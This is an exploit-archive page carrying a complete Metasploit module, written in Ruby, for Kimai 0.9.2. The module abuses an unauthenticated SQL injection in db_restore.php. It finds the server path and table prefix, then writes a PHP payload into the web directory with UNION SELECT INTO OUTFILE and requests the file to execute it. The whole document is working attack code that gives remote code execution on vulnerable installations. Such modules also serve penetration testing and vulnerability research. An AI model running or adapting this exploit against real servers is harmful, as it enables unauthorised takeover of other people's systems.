Kimai v0.9.2 'db_restore.php' SQL Injection Exploit

:
03.12.2013
:
Kimai v0.9.2
:

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "Kimai v0.9.2 'db_restore.php' SQL Injection",
'Description' => %q{
This module exploits a SQL injection vulnerability in Kimai version
0.9.2.x. The 'db_restore.php' file allows unauthenticated users to
execute arbitrary SQL queries. This module writes a PHP payload to
disk if the following conditions are met: The PHP configuration must
have 'display_errors' enabled, Kimai must be configured to use a
MySQL database running on localhost; and the MySQL user must have
write permission to the Kimai 'temporary' directory.
},
'License' => MSF_LICENSE,
'Author' =>
[
'drone (@dronesec)', # Discovery and PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['EDB' => '25606'],
['OSVDB' => '93547'],
],
'Payload' =>
{
'Space' => 8000, # HTTP POST
'DisableNops'=> true,
'BadChars' => "\x00\x0a\x0d\x27"
},
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Targets' =>
[
# Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-3
[ 'Kimai version 0.9.2.x (PHP Payload)', { 'auto' => true } ]
],
'Privileged' => false,
'DisclosureDate' => 'May 21 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Kimai', '/kimai/']),
OptString.new('FALLBACK_TARGET_PATH', [false, 'The path to the web server document root directory', '/var/www/']),
OptString.new('FALLBACK_TABLE_PREFIX', [false, 'The MySQL table name prefix string for Kimai tables', 'kimai_'])
], self.class)
end

#
# Checks if target is Kimai version 0.9.2.x
#
def check
print_status("#{peer} - Checking version...")
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") })
if not res
print_error("#{peer} - Request timed out")
return Exploit::CheckCode::Unknown
elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/
version = "#{$1}"
print_good("#{peer} - Found version: #{version}")
if version >= "0.9.2" and version <= "0.9.2.1306"
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
Exploit::CheckCode::Unknown
end

def exploit

# Get file system path
print_status("#{peer} - Retrieving file system path...")
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'includes/vars.php') })
if not res
fail_with(Failure::Unknown, "#{peer} - Request timed out")
elsif res.body =~ /Undefined variable: .+ in (.+)includes\/vars\.php on line \d+/
path = "#{$1}"
print_good("#{peer} - Found file system path: #{path}")
else
path = normalize_uri(datastore['FALLBACK_TARGET_PATH'], target_uri.path)
print_warning("#{peer} - Could not retrieve file system path. Assuming '#{path}'")
end

# Get MySQL table name prefix from temporary/logfile.txt
print_status("#{peer} - Retrieving MySQL table name prefix...")
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', 'logfile.txt') })
if not res
fail_with(Failure::Unknown, "#{peer} - Request timed out")
elsif prefixes = res.body.scan(/CREATE TABLE `(.+)usr`/)
table_prefix = "#{prefixes.flatten.last}"
print_good("#{peer} - Found table name prefix: #{table_prefix}")
else
table_prefix = normalize_uri(datastore['FALLBACK_TABLE_PREFIX'], target_uri.path)
print_warning("#{peer} - Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'")
end

# Create a backup ID
print_status("#{peer} - Creating a backup to get a valid backup ID...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
'vars_post' => {
'submit' => 'create backup'
}
})
if not res
fail_with(Failure::Unknown, "#{peer} - Request timed out")
elsif backup_ids = res.body.scan(/name="dates\[\]" value="(\d+)">/)
id = "#{backup_ids.flatten.last}"
print_good("#{peer} - Found backup ID: #{id}")
else
fail_with(Failure::Unknown, "#{peer} - Could not retrieve backup ID")
end

# Write PHP payload to disk using MySQL injection 'into outfile'
fname = "#{rand_text_alphanumeric(rand(10)+10)}.php"
sqli = "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- "
print_status("#{peer} - Writing payload (#{payload.encoded.length} bytes) to '#{path}/temporary/#{fname}'...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
'vars_post' => Hash[{
'submit' => 'recover',
'dates[]' => sqli
}.to_a.shuffle]
})
if not res
fail_with(Failure::Unknown, "#{peer} - Request timed out")
elsif res.code == 200
print_good("#{peer} - Payload sent successfully")
register_files_for_cleanup(fname)
else
print_error("#{peer} - Sending payload failed. Received HTTP code: #{res.code}")
end

# Remove the backup
print_status("#{peer} - Removing the backup...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
'vars_post' => Hash[{
'submit' => 'delete',
'dates[]' => "#{id}"
}.to_a.shuffle]
})
if not res
print_warning("#{peer} - Request timed out")
elsif res.code == 302 and res.body !~ /#{id}/
vprint_good("#{peer} - Deleted backup with ID '#{id}'")
else
print_warning("#{peer} - Could not remove backup with ID '#{id}'")
end

# Execute payload
print_status("#{peer} - Retrieving file '#{fname}'...")
res = send_request_raw({
'uri' => normalize_uri(target_uri.path, 'temporary', "#{fname}")
}, 5)
end
end

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